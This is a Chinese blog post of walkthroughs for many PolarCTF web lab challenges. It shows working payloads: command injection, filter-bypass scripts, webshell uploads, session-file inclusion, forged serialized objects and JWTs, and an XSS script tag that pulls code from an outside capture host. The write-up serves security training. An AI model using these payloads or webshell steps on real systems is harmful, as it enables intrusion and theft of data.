polarCTF-web-简单做题记录

swp

打开提示true.swp file?

访问/.index.php.swp

出现页面

image-20241229212645586

需要用POST提交一个xdmtql的 参数,并且需要绕过preg_match

使用回溯绕过,preg_match的检测次数有上限,利用脚本使其进行很多次检测,导致其检测达上限,失效

python脚本

import requests
url='http://9c364219-66fd-482f-b7e7-83f8f12bcc9e.www.polarctf.com:8090/'
data = {"xdmtql": "sys nb" + "a" * 1000000}
res = requests.post(url, data=data)
print(res.content)

获得flag

image-20241229213804365

简单rce

image-20241229215112989

定义了一个no函数,过滤了一堆命令执行命令和函数

要求sys存在,且yyds=666,然后eval执行经过no函数过滤的sys

使用sort命令和passthru函数,并用%09代替空格

image-20241229215934430

获得一个flag文件,使用sort查询flag文件

image-20241229220032794

蜜雪冰城吉警店

image-20241229214210557

提示:点到第9个隐藏款奶茶的单子,就会给你flag

在页面上并没有第9个奶茶

查看前端代码

image-20241229214438151

并没有9,把其中一个id改为9

在火狐上修改后发现点击后没有任何反应,换成edge,修改后点击,获得flag

image-20241229215027125

召唤神龙

查看前端有没有类似改分数的,或者能输出flag的条件,发现啥也没有

关闭后点F12就打不开开发者工具了,后面在更多工具的web开发者工具中打开

后面在调试器的main.js中看到了 一段东西

image-20241229222221345

可能在一段是什么加密,询问ai说是一种js加密方式,最后通过jsfuck解密,获得flag

image-20241229222455078

seek flag

image-20241229225928153

查看源码,发现有提示

image-20241229225954677

访问robots.txt

image-20241229230023388

获得第三部分flag:c0ad71dadd11}

抓包看看,能不能获得其他部分flag

发现cookie中有个id=0,发送到重放器,尝试把id改为1

把id修改为1,获得第一部分flag

image-20241229230806940

第一部分:flag{7ac5b

继续试着把id修改为2,获得第二部分flag:3ca8737a70f029d

image-20241230014050640

jwt

打开环境,是一个需要密码和账户的登录框,在注册里随便注册一个,登录进去,发现还是啥也没有,抓包,发现在cookie发现有session和jwt

image-20241230141457528

在jwt.io对jw进行解码,但却发现缺少secret值

image-20241230143744121

使用c-jwt-cracker获取密钥值

爆破出密钥值为SYSA,修改jwt,并且根据提示flag-is-admins-password,把username改为admin

image-20241230170215259

修改抓包后的jwt,发送,获得flag

image-20241230170202852

iphone

打开源码,发现提示

image-20241230170738696

应该是修改UA,点击一开始的按钮,提示只能iphone和ipad能看

尝试把UA修改为iphone,果然获得flag

image-20241230170907799

浮生日记

image-20241230171412759

打开是一个可以上传内容的框,应该是XSS或者ssti

输入{{7*7}},并没有1回显49

image-20241230171528243

在试试是不是xss,输入<script>alert(1)</scrpit>,发现出错了,发现过滤了script,

image-20241230172853186

闭合前面的内容,并双写script试试

“><scrscriptipt>alert(1)</scrscriptipt>

出现弹窗,点击确认,直接获得了flag

$$

image-20241230173203366

过滤了一大堆东西,没想到怎么绕过,查看wp,说是直接c=GLOBALS,获得flag

image-20241230174403781

$GLOBALS:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的

爆破

image-20241230174921019

要满足pass的md5的第二位等于第15位,第15位等于第18位,第二位加第15位加第18位的和除第二位等于第32位,直接抓包爆破

image-20241230175610810
image-20241230175620723

找到长度异常的组,获得flag

image-20241230175952278

login

查看源码,获得提示,应该是账号和密码

image-20241230020611509

输入后显示登录成功

尝试20200102,回显f;继续试20200103,显示l,感觉应该继续往下就是flag

最后试出来flag为flag{dlcg}

签到

打开页面查询了一个提交内容的框,但提交的按钮却点不动,应该修改js就行

查看前端,果然有disabled

image-20241229222839929

删掉disabled,随便传一个东西

image-20241229222904108

提示上传ilovejljcxy就能获得flag

复制上去,提交后还是弹窗之前的,结果发现,他对长度还有限制,应该还是修改js

果然在js将长度限制为9,修改后上传内容

image-20241229223253795

获得flag

image-20241229223314923

rce1

image-20241230222552807

使用;拼接命令,127.0.0.1;ls

image-20241230223355494

发现一个fllllaaag.php文件,使用tac查询文件,并用%09代替空格

直接cat查看fllllaaag.php

XFF

image-20241230015110908

根据提示,应该是利用xff伪造ip

直接抓包加上:X-Forwarded-For: 1.1.1.1或者使用hackbar加上这个,获得flag

image-20241230015701949

GET-POST

image-20241229223718535

按要求上传参数,直接就获得flag了

image-20241229223828667

被黑掉的站

说站里的木马还是很多,使用dirsearch扫描,发现;有shell.php和/index.php.bak

image-20241230221724736

访问shell.php,出现一个提交框

image-20241230221814420

继续访问/index.php.bak,发现一个字典,应该有一个为那个登录框的密码,使用burp爆破,发现为nikel时获得flag

签到题

image-20241229224622402

查看源码,什么都没有

抓包试试

image-20241229224744269

发现cookie中有个didi=no

放到重放器,尝试把didi改为yes

image-20241229224856142

发现其中有一段:Li9kYXRhL2luZGV4LnBocA,解码试试

base64解码出了./data/index.php

image-20241229224957502

访问./data/index.php

image-20241229225034225

应该需要文件包含,过滤了../,应该还需要进入上一级目录,可以使用双写绕过../,并使用伪协议读取

image-20241229225628805

将PD9waHANCiAgICAkZmxhZyA9ICJmbGFnezkyZWI1ZmZlZTZhZTJmZWMzYWQ3MWM3Nzc1MzE1NzhmfSI7DQo/Pg==base64解码,获得flag

image-20241229225739361

session文件包含

随便传入一个东西,进入了一个新页面,查看源码

image-20241231160749067

发现可以用file参数读文件,存在文件包含漏洞

尝试使用filter伪协议读取文件,但连接重置了

但却在cookie处发现了phpsessionid,应该可以使用session文件包含session文件应该就为sess_0he69bukahmfeo3q8d9gl2rlr5

image-20241231162745306

访问储存session文件的路径/tmp/sess_0he69bukahmfeo3q8d9gl2rlr5,利用name进行文件读取<?php system(‘ls’);?>

image-20250102195503786

使用tac读取flaggggg文件 ,获得flag

image-20250102195643896

Don’t touch me

查看源码,获得提示

image-20241230014519486

访问./2.php

image-20241230014628988

出现了一个无法点击的按钮,查看源码,

image-20241230014749748

可以删掉disabled,使按钮可以直接点击,或者直接访问/3.php,点击后就是跳转至/3.php

查看源码

image-20241230014934173

访问fla.php,获得flag

image-20241230015006916

robots

提示:机器人.txt,访问robots.txt,

image-20241229223516430

访问/fl0g.php,直接获得flag

image-20241229223553870

php very nice

image-20241230215132483

直接修改sys内容,构造poc

image-20241230215310384

传入

image-20241230215326863

发现有flag.php文件,查询该文件,获得flag

image-20241230215512922

ezupload

上传一句话木马,提示:Sorry, we only allow uploading GIF images,抓包将mime type改为image/gif,然后放包,显示连接成功,使用蚁剑连接,获得flag

cookie欺骗

image-20241230180756863

提示只用普通用户才能获得flag

抓包,发现cookie处有个user=user

image-20241230181008260

发送到重放器,把user值改为admin,发送后获得flag

image-20241230181048068

upload

查看源码发现有提示

image-20241231155721552

/?action=show_code

发现源码

image-20241231155829628

使用str_ireplace函数进行过滤,可以双写php进行绕过

抓包,改为双写php,放包

使用蚁剑连接,获得flag

image-20250102200227657

干正则

image-20250102203429672

要让a[0]的值等于www.polarctf.com,可以利用parse_str($id)函数,通过id来覆盖之前的a变量,再用通配符绕过正则匹配

playload:id=a[0]=www.polarctf.com&cmd=;ls

image-20250103144024445

cat查询flag文件,查看源码获得flag

image-20250103144357516
image-20250103144404648

parse_str()变量覆盖

parse_str(string,array)

string:规定要解析的字符串。

array:规定存储变量的数组的名称,该参数指示变量将被存储到数组中。

函数把查询字符串解析到变量中。如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

cool

image-20241230181210752

第一个检查a是否为数字,如果是数字则输出no,第二过滤了flag,php,sysytem,然后放在eval函数里执行,看他过滤了这些,flag应该在flag.php里,使用*通配符代替,使用passthru代替system,上传后获得flag

image-20241230181659121

uploader

image-20250103144834839
<?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);//利用客户端的 IP 地址生成一个 MD5 哈希值,以此作为文件夹名称,确保每个 IP 地址都有自己独立的目录。
if(!is_dir($sandBox)){
   mkdir($sandBox,0755,true);
}//检查 $sandBox 目录是否存在,如果不存在则创建它,权限设置为 0755,允许文件夹所有者读、写、执行,其他用户可以读和执行。
if($_FILES){
   move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);
   echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
   echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
   echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
   echo $sandBox;
}//如果有文件上传,它会将文件从临时位置移动到指定的 $sandBox 目录中,并显示文件名、文件类型和文件大小。$_FILES 是一个全局数组,用于接收上传的文件信息。

highlight_file(__FILE__);

利用python脚本上传一个一句话木马

image-20250105215714253

显示成功后,利用蚁剑连接,路径为他返回的内容加文件名,url/281aa7ab3919fdc0f9cf542072fcf030/123.php

image-20250105215830070

使用蚁剑连接

image-20250105215901070

利用终端查找flag

image-20250105220143205

覆盖

image-20250103145634925

和干正则一样,甚至没有正则匹配过滤,用一样的playload

PHP反序列化初试

image-20241231164014194

构造poc

image-20241231165039913

传入pop链获得flag

机器人

image-20241230181934364

访问robots.txt,直接获得了flag的一部分,flag{4749ea1ea481a5d

image-20241230182012084

访问/27f5e15b6af3223f1176293cd015771d,但访问不了

尝试解密后面/后面的内容,但发现还是什么都没有

最后访问/27f5e15b6af3223f1176293cd015771d/flag.php获得最后一部分flag,56685442c8516b61c}

image-20241230182920177

扫扫看

image-20241230213327141

提示扫扫看,使用dirsearch扫描,发现有flag.php文件,访问后查看源码获得flag

debudao

image-20250103145819820

出来是一个传东西的框,传什么显示什么

试一下传{{7*7}}结果不是49,不存在ssrf,传<script>alert(1)</script>,出现了弹窗,存在xss

image-20250103150036952

传入恶意代码<sCRiPt sRC=//xs.pe/5gJ></sCrIpT>,使用xss平台监听,获得flag

image-20250103150302986

审计

image-20241231171206662

xxs的值md5后必须为0e后面加数字,且xxs必须为数字,不能用数组绕过

直接传xxs=0e215962017(md5后的值等于自身)

upload1

提示上传一个图片,应该不允许上传php文件,只能传php文件

上传一个jpg文件,抓包,把后缀改为php后放包,使用蚁剑连接

image-20250103153305342

没找到flag文件,右键打开终端,在终端里面查找,获得flag

image-20250103153403611

env出来是假flag,使用cat查询,获得flag

image-20250103154004670

rapyiquan

image-20250103154057108

过滤了参数中的_,还过滤了参数内容的一堆东西

参数中的_用.代替,用\来分割内容

playload:cm.d=l\s

发现有个flag.php文件,使用sort查询

image-20250103155249850

bllbl_ser1

image-20250103155356265

一道反序列化的题

构造poc

image-20250103160059534

发现flag文件,使用cat查询,获得flag

image-20250103160404202

1ncIud3

image-20250103164947552

应该是用page参数读文件,试试flag。php和flag

在读flag时出现提示

image-20250103165144295

flag可能为其他组合,fl0g等,还过滤了一些东西,应该还要考虑在哪个目录下

测试发现过滤了../,双写绕过

使用burp爆破

image-20250103170427535
image-20250103170418930

找到长度异常的一组,获得flag

image-20250103170406081

投喂

image-20250103160530960

post一个名为data的参数,序列化一个user对象,尝试序列化一个包含用户名和is_admin属性的User对象,使is_admin=true

构造一个pop链,对象为user,属性is_admin其值为true

data=O:4:”user”:1:{s:8:”is_admin”;s:4:”true”;}

post提交,获得flag

image-20250103161240688

黑狗子的RCE

image-20250103161405241

一个get提交的参数gouheizi1,其过滤了一堆东西,避免其进行命令执行

一个post提交的参数gouheizi2,其过滤了gouheizi,但如果其内容等于gouheizi,gouheizi1的内容就可以被system函数执行

str_replace用双写绕过,preg_match用\拼接

image-20250103162305938

sort查询文件

image-20250103162402615

button

打开出现了一个按钮,一触到就会跑,应该需要修改js,但直接F12,打不开开发者工具,在这个位置的更多工具打开web开发者工具

image-20241230185129538
image-20241230185214714

去掉mouseover

image-20241230190650353

点击按钮,发现变成了这样

image-20241230190704720

在script.js发现对点击次数的要求

image-20241230190808257

在控制台将clickCount改为clickCount =999999999999999999999999999999999999999999999999999999999999999999,点击运行,在点击按钮,获得flag

image-20241230192137591

井字棋

打开是一个井字棋游戏

查看js

image-20241230193221487

当为declareWinner(“您赢了!”);时,会弹出flag

在控制台输入declareWinner(“您赢了!”);,运行,获得flag

image-20241230193202818

简单的导航站

image-20250103162614203

在注册界面随便注册一个东西,然后登录,跳转到了一个新的页面

image-20250103162655980

一个md5强比较,使用数组绕过

出现了一堆用户名

image-20250103162857288

但还差密码,看了网页源码,还是没有,最后在一开始的页面的源码里看到了Admin1234!,应该就是密码

image-20250103163440580

使用burp爆破

image-20250103163811499
image-20250103163819061

最终发现用户为P0la2adm1n,长度异常

image-20250103163904710

在管理员页面登录

登录后跳转到文件上传页面,上传一个一句话木马

image-20250103164111919

使用蚁剑连接,应该放在uploads目录下

image-20250103164258211

找到一个flag???文件,打开给了一堆flag,应该是在flag认证页面继续爆破

image-20250103164443125

抓包,发到爆破模块

image-20250103164525246
image-20250103164608497

找到长度异常的一组,flag%7bT4PwCg1RrQNsO4EcrQmU%7d,就是真的flag

image-20250103164650394

评论

  1. 1111
    1 年前
    2025-1-05 15:42:42

    大佬好强,求带!!!

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇